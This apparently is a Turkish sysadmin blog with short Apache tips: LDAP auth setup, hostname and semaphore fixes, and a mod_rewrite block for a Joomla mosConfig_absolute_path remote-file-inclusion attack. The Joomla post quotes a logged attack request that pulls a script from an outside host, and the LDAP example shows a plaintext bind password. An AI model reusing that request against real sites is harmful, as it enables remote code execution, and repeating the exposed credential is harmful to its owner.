Category: Apache
Apache, Linux

Apache Ldap Auth

Apache 'de Ldap Auth modulu aktif edilir a2enmod authnz_ldap Aktif olmasi icin /etc/init.d/apache2 restart vim /etc/apache2/http.conf icine girilir ve asagidaki satirlar eklenir (tips: unutmayiniz kendi ayarlariniza gore degisiklikleri yapacaksiniz, bu sadece ornek bir conf 'dur.) <Directory /var/www/murat.ws/> AuthType Basic AuthName "Login" AuthBasicProvider ldap AuthzLDAPAuthoritative on AuthLDAPURL ldap://murat.ws:389/o=domains,dc=murat,dc=ws?mail AuthLDAPBindDN "cn=murat,dc=murat,dc=ws" AuthLDAPBindPassword ghfdsbbu66hj64332fcnkdaz require ldap-user murat@murat.ws </Directory> kaydedip ciktiktan sonra apache tekrar restart edilir. Sevgiler.
Apache

Stopping web server: apache2apache2: apr_sockaddr_info_get() failed for blabla

Apache'yi restart etmeye calisiyorsunuz fakat Stopping web server: apache2apache2: apr_sockaddr_info_get() failed for blabla gibi bir hata aliyorsunuz, nedeni hostname 'i tam olarak yazmamis olmanizdandir. eskisi murat, yenisi murat.ws duzeltmek icin,
echo host.domainadiniz.com > /etc/hostname
simdi apache 'yi restart ettiginizde hatanin olmadigini goreceksiniz.
Apache

[crit] (28)No space left on device: mod_rewrite: could not create rewrite_log_lock

Apache2 baslatmaya calisiyorsunuz, basliyor gozukuyor ama hicbir surecin baslamadigini goruyorsaniz ve error.log 'larda asagidaki gibi bir hata aliyorsaniz bunun sebebi semafor depolama kapasitesinin asilmis olmasindandir. [crit] (28)No space left on device: mod_rewrite: could not create rewrite_log_lock mail:/etc/apache2# ipcs -s | grep www-data 0x00000000 57442304   www-data  600        1 0x00000000 59801601   www-data  600        1 Bu sorunu gidermek icin asagidaki scripti calistirmaniz yeterli olacaktir. mail:/etc/apache2# ipcs -s | grep www-data | perl -e 'while (<STDIN>) { @a=split(/\s+/); print `ipcrm sem $a[1]`}' sevgiyle.
Apache, Php

Joomla ‘daki mosConfig_absolute_path acigi

Selamlar, gecen gun karsilastigim bir acik (veya benim gozden kacirmis oldugum) durumu ile karsilastim. Yapmis oldugu joomla 'da mosconfig_absolute_patch 'i kullanarak uzaktaki bir istemciden bir script cagirmak ve sunucu bilgilerini cekmek (disk,ram,cpu, dosya degistirme, silme, ekleme, dizinleri gezme, dizinleri listeleme gibi).  Bu durumu duzeltmek icin ilk aklima gelen php.ini icerisindeki (uzaktaki sunucu ustunden include islemi yaptiran) allow_url_fopen parametresini kapatmakti. Ama kullandigim icin kapatmak pek isime gelmedi ve baska bir cozum olan apache modulu olan mod_rewrite kullanmak idi. Saldiri log'u 217.172.22.207 - - [15/Feb/2008:02:43:49 +0200] "GET ///////?mosConfig_absolute_path=http://www.xxfs.ru./r.txt?? HTTP/1.1" 200 671 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12" Mod_rewrite ornek conf 'u
RewriteEngine on
RewriteCond %{THE_REQUEST} mosConfig
RewriteRule ^/* http://www.murat.ws/ [F]
Sevgiyle.
Apache

.htaccess ile gizlenmis dosyalar

.htaccess 'in unix ve linux te gizlenmis dosyalari gosterebilme gibi sansi var. Bunu engellemek icin; httpd.conf global satirlarini arasina
<Files ~ "^\.">
   Order allow,deny
   Deny from all
</Files>
<Files ~ "^\.\.?$">
   Order allow,deny
   Allow from all
</Files>
Satirlarini eklemektir. Sevgiyle.